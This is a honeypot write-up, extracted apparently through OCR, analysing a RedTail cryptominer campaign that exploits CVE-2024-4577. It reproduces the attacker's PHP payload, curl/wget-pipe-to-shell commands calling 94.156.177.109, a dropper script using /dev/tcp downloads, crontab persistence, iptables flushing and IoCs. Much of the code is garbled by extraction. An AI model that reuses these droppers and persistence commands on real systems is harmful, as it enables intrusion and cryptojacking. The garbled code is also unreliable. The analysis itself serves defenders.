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I am often asked how long an exposed machine can remain connected before being targeted. Just the other day, I was
reviewing the initial results of an honeypot I had set up only minutes earlier when I noticed the first exploitation attempts.

And, of course, it was a cryptominer.
First stage

In this case, the attacker was automatically trying to exploit CVE-2024-4577, which affects certain versions of PHP 8 when
using Apache and PHP-CGI on Windows.

The Base64-encoded payload was as follows: '<?php
shell_exec(base64_decode(""WDOKKGNTcmwgaHROcDovLzkOL jETNi4xNzcuMTA5L3NoIHX8IHdNZXQgaHRAcDovLzkOL jETNi4xNzcuMTASL3NoICTPLSk7IGVjaG8gIiRYIi
'="")); echo(md5(""Hello CVE-2024-4577"")); 2>'

Using CyberChef, it is possible to decode this payload:
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Recipe ~BmE npu +O3E=
B keLjEE 2K6L; M0 LC1PLSKTIGY]aGEQLIRYI1BET

e 2 HNOIC12 IGH2ZVE,MD18X2QINzEUC2VS Zn L CA

Anabet

A-Za-z08-8+/= - [ Remove non-alphabet chars.

[0 strict mode

s E 3 G214 (23 selecen) T tes e ur

Output a0m®::

X=$(curl http://B41S6/A77:108/SN || Woet http://34.156.177.109/sh -0-); echo "SX" | sh -5 cve 2024 4577.selfrep

It then becomes trivial to retrieve the address of the first-stage payload, which isa .sh script. I have added comments to

this script for better clarity:

home 5 mufffin n pot_
1 #1/bin/bash
2
3 # Function to dounload a file using wget, curl, or a manual TCP request if both fail
4 dur() §
S | wget http://94.156.177.189/61 || curl -0 http://94.156.177.109/81
6 | if [ 37 ne D |5 then
7 exec 3<>*/dev/tcp/94.156.177.189/88"
8 echo -e "GET /$1 HTTP/1.0\r\nHost: 94.156.177.109%r\n\r\n" >63
9 (while read -r line; do [ "$line” = §°\r' ] & break; done & cat) <&3 >S1
18| exec 32h-
n|
2 f
13

14 # Find directories that are mounted with ‘npexsc’ (prevents execution of binaries)
15 NOEXEC DIRS=S{cat /proc/mounts | grep ‘noexec’ | awk ‘{print 52}')
16 EXCLUDE=""

18 # Construct exclusion list for 'find' comsand to avoid searching noexec directories
19 for dir in $WOEXEC DIRS; do

20 EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\"* # Exclude folders with execution restrictions
21 done
2

23 # Find writable and executable directories owned by the current user
24 FOLDERS=S{eval find / -type d -user $(whoami) -perm -u=nux -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2»/dev/null}

26  # Detect system architecture
27 ARCH=$(uname -mp)
28 OK=true

30 # Find a suitable writable and executable directory for execution
31 for i in SFOLDERS /tmp /var/tmp /dev/shm; do

32 if cd "5i° G& touch .testfile & (dd if=/dev/zero of=,testfile? bs=2M count=1 »/dev/null 2>61 || truncate -s 24 .testfile2 »/dew/null 2»61); then
3 m -rf testfile .testfile2 # Clean up test files

3 break

ECIE Y

36 done

37

38 # Download and execute a “cleaning script® (potentially to remove competing malvare or traces)
39 dir clean # Download the cleaning script from attacker's server

40 chmod +x clean # Grant execution permissions

41 sh clean »/gev/null 261 # Exscute the script (

42 m -rf clean # Delete the script after execution

43

44 # Remove existing payload if present
45 m -rf .regtail

47 # Determine systen architecture and download appropriate payload
48 if echo “SARCH" | grep -q "x86 64" || echo "SARCH" | grep -g "and6d”; then
49 dlr xB6 64

50 mv xB6_64 .redtail

51 elif echo "SARCH' | grep -q "1[3456]66°; then

52 dlr 1686

53 mv 686 . redtail

54 elif echo "SARCH* | grep -q "armvd” || echo "$ARCH" | grep -q “aarch6d”; then
55 dlr aarchéd

56 mv aarcngd .redeail

57 elif echo "SARCH' | grep -q "armv7®; then

55 diran
59 mv a7 . redtail

B0 else

61 OK=false

62 ¥ If architecture is unknown, attempt to execute multiple payloads and see if any work
63 for a in xB6 64 1686 aarched arm?; do

5 dlr sa

5 cat Sa >.redtail

6 chaod +x . redtail

67 .f.redtail S1 >/dev/null 2561 # Execute the payload

68 m -rf $a # Remove extra files

Second stage payloads

This script is used to download, in turn, another script (named clean), which the attacker uses to remove previous malicious
activity, as well as a second-stage binary for malicious purposes. The script checks for and bypasses noexec restrictions to

find a directory where execution is allowed.

To download the aforementioned files, it employs multiple methods (wget, curl, or a direct TCP socket), likely to avoid

reliance on specific programs.

The cleaner script is primarily used to remove c¢3pool_miner, another cryptominer that may have previously infected the

machine and could be running as a service.
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#! /bin/bash

clean_crontab() {
chattr -1a "$1"
grep -vE "yoeklcurtI/dan/SeRl /EpRIN - shigglbash -ilsh -1l

mv /tmp/clean_crontab "$1"

-d' "$1" >/tmp/clean_crontab

.
b
.
Hl
.
.

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in jfvar/spool/cronjfcrontabs/*; do

[ -f "$user_cron" ] && clean_crontab "$user_cron"
done

for system_cron in Jfetc/crontab fetc/crontabs; do
[ -f "$system_cron" ] && clean_crontab "$system_cron"
done

for dir in fetc/cron.hourly fetc/cron.dailly fetcfcron.weekly fetc/cron.monthly [fetcfcron.d;
do
chattr -ia "$&dir"
for system_cron in "$dir"/*; do
[ -f "$system_cron" ] && clean_crontab "$system_cron'
done
done

clean_crontab /etc/anacrontab
for i in [ftmp [var/tmp [dev/shm; do

rm -rf §i/*

done

Figure: cleaning bash script

The malware also deletes the existing crontab, likely to remove any previously installed cryptominer running on the target.

In particular, the command:
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1"

appears to be designed to remove lines containing suspicious commands commonly used by malware (wget, curl, nc,
base64, etc.).

The first-stage payload then checks the architecture of the target to deliver an appropriate payload that will be executable on
it. This ensures compatibility across various environments and architectures. Finally, the next-stage payload is renamed

redtail and executed.
Last stage payload

I chose to focus my investigation on the sample named x86_64. According to static analysis, this binary is packed using
UPX.

Page 3 of 8



https://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale

E Detect It Easy v3.10 [Windows 10 Version 1709] (x86_64) - m] =
File name
= | Ch\Users\REM\Desktopiminer.bin
File type File size Base address Entry peint V| Advanced
ELFB4 M 1.74 MiB 0000000000000000 000000000088c498 o
<I»Demangle

D File info 5 Memory map L= Disasm Em Hex [ Strings Signatures | | 2| VirusTotal

isualization »~ Searc asl 3 Entro ractor -
MIME F visual {2 Search Hash 3¢ Entropy | |V Ext 1 YARA

OErF
Programs Sections
0003 o 0000 o
Secan Endianness Mode Architecture Type
Automatic - LE B4-bit AMDB4 DYN

[

=8 Shortcuts

ﬂ' Options
Signatures Flags = | | Database - © About
Scan 8
Directory Log > 45 msec X Exit

Figure: the final payload is encrypted using UPX

It is then easy to decrypt it and gather more information about the malware.

Ratio Format Name

Figure: decrypting the UPX encrypted payload

The binary is a 64-bit .ELF executable written in C (though you probably already guessed the 64-bit part from the file

name itself...).

;EI Detect It Easy v3.10 [Windows 10 Version 1709] (x86_64) - m] *x
File nare
1= |C\Users\REM\Desktopminer.bin

File type File size Base address Entry point | Advanced
ELF&4 v 474 MiB 00000D00DDO0DOD0D 000000000004 1ce3 o

<I> Demangle

D File info & Memory map Disasm BT Hex [ Strings [ Signatures | 2| VirusTotal

3 MIME P visualization P search #Hash 'X Entropy | " Extractor 1 varA

i 13
Programs Sections
0009 Lol 001b o
Scan Endianness Mode Architecture Type
Automatic - LE 64-bit AMDES DYN

COGNU) 11.2.1 20211120) s 7
Language: C s 7 =8 Shortcuts
£} Options
Signatures Flags * | | Database hd © About
Scan
Directory Log > 70 msec X Exit

Figure: decrypted payload’s information

The file is flagged as malicious by several antivirus programs on VirusTotal and is identified by multiple vendors as a
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cryptominer.
Popular threat label (D miner.twnhu Threat categories miner pua  trojan Family labels  twnhu
Security vendors' analysis O Do you want to automate chec
Antiy-AVL (@ RiskWare[RiskTool]/Linux BitCoinMiner Arcabit © Trojan Linux Generic DABS
Avast (@ other:Malware-gen [Trj] AVG (@ other:Malware-gen [Tri]
Avira (no cloud) (@ LINUX/AVIAgent.twnhu BitDefender (@ Trojan.Linux.GenericKD.42165
cx @O Elfminertwnhu Cynet @ Malicious (score: 9
DriWeb @ Tool Linux BtcMine.9999 Emsisoft (@ Trojan.Linux.GenericKD.42165 (8)
eScan @ Trojan.Linux.GenericKD.42165 ESET-NOD32 (@ AVariant Of Linux/CoinMiner.AV Potenti..
Fortinet © Adware/Miner Gpata © LinuxApplication Agent CNMX00
Google © Dpetected Huorong (@© HackTool/LinuxBitCoinMiner.a
Kaspersky @ Not-a-virus:HEUR:RiskTool.Linux.BitCoin. Lionic @ Riskware.Linux.BitCoinMiner.1ic
Microsoft (@ PUALinux/CoinMiner.K NANO-Antivirus @ Riskware.Elf64.CoinMiner.kvizew
Panda © ELFTrojanGena Rising (© HackTool XMRMiner!L FDOF (CLASSIC)

Figure: Antivirus detection of the binary on VirusTotal.

I am not a specialist, but several strings appear to reference various implementations or variants of the CryptoNight hashing

algorithm, which is widely used in certain cryptocurrencies, most notably Monero.

.rodata:000... 00000007 C Monero

.rodata:000... 0000001C C W 1B[43; ImYx 1B[1;37m monero Y 1B[0m
.rodata:000... 00000009 C Sumokoin

.rodata:000... 0000001C C w1B[44; Im\x 1B[1;37m sumo Y 1B[0m
.rodata:000... 00000006 C ArQmA

.rodata:000... 0000001C C Ww1B[44; Im\x 1B[1;37m argma  w1B[0m
.rodata:000... 00000006 C Graft

.rodata:000... 0000001C C w1B[44; Im\x 1B[1;37m graft ‘w1B[Om
.rodata:000... 0000000A C Ravencoin

.rodata:000... 0000001C C Ww1B[44; Im\x 1B[1;37m raven ‘w1B[0m
.rodata:000... 00000008 C Waownero

.rodata:000... 0000001C C o 1B[45; 1m'x 1B[1;37m wownero ‘w1B[0m
.rodata:000... 00000007 C Zephyr

.rodata:000... 0000001C C Ww1B[44; Im\x 1B[1;37m zephyr Ww1B[0m
.rodata:000... 0000000A C Townforge

.rodata:000... 000000 1E C w1B[45; Im\x 1B[1;37m townforge \wiB[0m
.rodata:000... 00000009 C YadaCoin

.rodata:000... 0000001C C WwiB[44; Im\x 1B[1;37m yada '‘w1B[0m

Figure: Cryptocurrencies related strings

It is also possible to infer from some of the strings within the malware the various cryptocurrencies the attacker is attempting

to mine: Monero, Sumokoin, ArQma, Graft, Ravencoin, Wonwero, Zephyr, Townforge, YadaCoin, etc.

Lastly, several strings indicate that this malware is a variant of the infamous XMRig tool.

'#| .rodata:000... 0O000DOOE C XMRIG_VERSION

'# | .rodata:000... 00000007 C 0,222

'# | .rodata:000... 0000000E C XMRIG_KIMND

'# | rodata:000... 00000006 C miner

'#| .rodata:000... 00000DOOF C XMRIG_HOSTMAME

'# | .rodata:000... 0000000A C XMRIG_EXE

'# | .rodata:000... 00000OCE C XMRIG_EXE_DIR

'#| rodata:000... 0000000A C XMRIG_CWD

'#| .rodata:000... 00000DOOF C XMRIG_HOME_DIR

'# | .rodata:000... 0O00000OF C ¥MRIG_TEMP_DIR
C

'#| .rodata:000... 000000OF XMRIG_DATA_DIR.

Figure: strings related to XMRIG

While searching the internet, I found several articles mentioning the malware we are investigating (see references). As

Akamai puts it:

« The threat actors embedded XMRig’s code into their own code and added their own logic before and after it. »

Features

To confirm Akamai’s findings, I delved into the code. To be clear, I did not analyze all of it. However, I spotted several
interesting functions. For example, using the commands C and S, the attacker seems to be able to view the malware’s

connection details and mining results, respectively.

Page 5 of 8


https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit

https://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale

wrapper_fhn:tion((unsigned int)"\x1B8[1;35m - TOP 18", ( BYTE)wlsS, v19, w28, v2l,
wrapper_function((unsigned int)"\x18[1;37m # | DIFFICULTY | EFFORT %% |", (_BYTE

Figure: The attacker can print the top 10 mining results, the calculating difficulty and the effort percentage.

This feature can also be found in the XMRig code on GitHub:

= ) Q repoxmrigimrigtop 10 8- +.-0ne®
Filter by 66 files (277 ms)in xmrig/xmrig X 0 save
| <> Code 66 v 62 src/base/net/stratum/NetworkState.cpp ©® C++ -} master
O Issues & 2u printAvgTine(avgTine());
11 Pull requests 1 215 )
216
@ Discussions o 217 Log: :print(MAGENTA BOLD_S " - TOP 10");
o Commits 0 218 Log: :print(WHITE_BOLD_S " # | DIFFICULTY | EFFORT %% |");
219
@ Packages 0 220 for (size_t i = 0; 1 < m_topDiff.size(); ++i) {
m Wikis o .

3+ Show 29 more matches

Figure: Screenshot of XMRig’s GitHub repository.

v52 "ping time";

= "\x1B[1;32m * \x1B[@m\x1B[1;37m%-17s\x1B[@m\x1B[1;3¥dm¥ums";
wrapper_function(

(unsigned int)"\x1B[1;32m * \x1B[@m\x1B[1;37m%-17s\x1B[Bm\x1B[1;3%dm¥ums",
(unsigned __int3)"ping time",

}
LODWORD(v61) = 8;

if ( vas[ze] ?

v62 = sub_33B9AG(v64, v52, OLL, v53);
LODWORD(v59) = -481036337;
vl = (v62 / 1000008 - *((_QWORD *

+ 55)) / Bx3EBuLL;

wrapper_function(
(unsigned int)"\»AB[1;32m * \x1B[8m\x1B[1;37m¥-17s\x1B[@m\x1B[1; 36m¥lus \x1B[Bm",
(unsigned _ int8)"connection time",

else

sub_79B88(5, (unsigned int)"\x1B[1;33mno active connection", a3, a4, a5, a6, a7);

Figure: The attacker can also print information about the connection.

This feature is also present in XMRIG code, as shown in the screenshot below:

v @ src/base/net/stratum/NetworkState.cpp @® C++ - ¥ master

101 const int color = latency < 100 ? 2 : (latency > 500 ? 1 : 3);

103 Log: :print (GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CSI "1;3%dm%ums", "ping time", color, latency);

Figure: Screenshot of XMRig’s GitHub repository.

So, we can confirm with high confidence that XMRIG’s code was incorporated into the malware’s own code. However, the

attacker did not merely copy XMRIG’s code; they also added additional capabilities.

For example, an interesting feature that I could not find in XMRIG’s code concerns the function sub_318DF0. This function
accesses multiple system paths related to CPU frequency and capacity, likely to configure the infected machine in a way that

maximizes mining efficiency.

e /sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq
e /sys/devices/system/cpu/cpu%d/cpufreq/base_frequency

e /sys/devices/system/cpu/cpu%d/acpi_cppc/nominal_freq

e /sys/devices/system/cpu/cpu%d/cpu_capacity

e /sys/devices/cpu_atom/cpus

e /sys/devices/cpu_core/cpus

The thing is that a large part of the code remains encrypted, probably for obfuscation purposes. It is possible to spot several

decryption routines using hardcoded keys.
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if ( _ readfsbyte(@xFFFFFE43) )

t
for (1 = 8LL; 1 353 ++1 )
*(_BYTE *)(i + v21 - 1248) *= BxEID7BFO3DFF74797LL >> (8 * ((unsigned _ intB8)i & 7u));
_ writefsbyte(@xFFFFFB43, 8);
}

Figure: decryption routine inside RedTails.

I did not venture further into the realm of .ELF reversing, mainly because it is not my forte (in fact, I don’t have a forte at all
). Moreover, I did not want to spend too much time trying to understand the encryption mechanism protecting the

malware’s configuration. That’s why I opted for dynamic analysis on Any.Run.

Dynamic analysis revealed that the malware removes existing cron jobs and creates a new one to ensure that x86_64 is

automatically executed every time the system reboots—a typical persistence technique.
sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /tmp/x86_64\.bin\.elf\" | crontab -"

From what I could gather, the malware also delete all existing firewall rules and inserts a new rule to allow incoming TCP

connections on port 45971.
sh -c "iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 45971 -j ACCEPT >/dev/null 2>&1"

Thanks to dynamic analysis, it is easy to identify the malware’s C2 server. The malware connects to this C2 server on port
43782.

Figure: C2 of the analysed RedTail.

The malware also tried to connect on port 2137 to the domain proxies.internetshadowl.]Jorg, which was registered nine

months ago.

While the domain is not known for being malicious, it appears to have been resolved to a number of IP addresses flagged as

malicious.

D] « rodesinemeshadonog [ =NolY
(@ 5 detected files communicating with this domain C Reanalyze = Similar v
proxies.intermetshadow.org Creation Date Last Analysis Date
internetshadow.org 9monthsago  15daysago

DETECTION  DETALS  RELATIONS  COMMUNITY 3
Passive DNS Replication (15) ©

Dateresolved Detectons Resolver w»
2024-11-05 11 /94 VirusTotal 92.118.39.120
s11es e ViusTotal w03492.147
e1t0s o/ ViusTotal 03492140
w110 o/9 VirusTotal 03492149
2024-11-05 9/94 VirusTotal 80.94.92.136
w10 o/ ViusTotal waa92.135
01105 s/ ViusTtal 809492146
20200809 oo ViusTtal 512211150
20200806 oo VirusTotal s1221115
0200802 o/o ViusTotal simaLus
2024-08-02 6/94 Zenbox Linux 5.182.211.152
20200603 s/o ViusTotal 815314051
20240603 o/0 VirusTotal 5312330157
2024-05-31 11 /94 VirusTotal 93.123.39.27

Figure: DNS relationships of proxies.internetshadowl[.]Jorg

This domain does not seem to be resolved at the moment. I don’t know, though, if this is some kind of (legitimate?) proxy
being used for malicious purposes or if the domain name was chosen to blend into network traffic. Feel free to share any

information you may have on this domain!
A well-practiced technique

According to several sources (ISC SANS, Akamai), the threat actor behind this miner is known for exploiting one-day

vulnerabilities to gain an initial foothold on their targets.

However, while I didn’t investigate too deeply, I did not find any prior references to CVE-2024-4577 in existing literature

(though that may still be the case).

In this regard, it is worth noting that the attacker attempted to exploit multiple vulnerabilities on my honeypot, as shown in

the screenshot below.
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Figure: different attempt at exploitation of my honeypot
Conclusion:

The attacker tried to exploit several vulnerabilities to deploy its cryptominer. So, regarding the question of how long a
vulnerable machine remains safe on the internet... the answer likely depends on the specific vulnerability, but a few minutes
may be enough for an attacker to compromise it. And among the most aggressive and potentially overlooked threats are

cryptominers.

IoCs:

Hash

3e10d68be4081039f657a5ee55000ae46161185a

Domain

proxies.internetshadow[.]org

IPv4

219[.1153[.]12[.]142

130[.161[.]23[.14,

101[.]66[.1172[.]251

94[.]156[.1177[.]109

196[.]1251[.]70[.]1219
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